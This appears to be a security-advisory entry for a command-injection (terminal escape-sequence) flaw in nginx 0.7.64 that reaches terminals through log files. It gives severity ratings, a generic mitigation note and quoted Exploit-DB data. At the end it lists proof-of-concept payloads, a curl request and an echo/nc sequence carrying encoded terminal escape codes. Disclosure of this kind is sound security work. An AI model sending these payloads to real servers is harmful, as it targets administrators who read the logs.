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nginx
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Unknown
7.5
CVSS
HIGH
Command Injection
78
CWE
Product Name: nginx
Affected Version From: 0.7.64
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: Unknown
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Command Injection Vulnerability in nginx

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files. Attackers can exploit this issue to execute arbitrary commands in a terminal.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input and validate it before using it in log files. Additionally, keeping the 'nginx' program up to date with the latest security patches can help prevent exploitation of this vulnerability.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37711/info

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects nginx 0.7.64; other versions may also be affected.

The following examples are available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload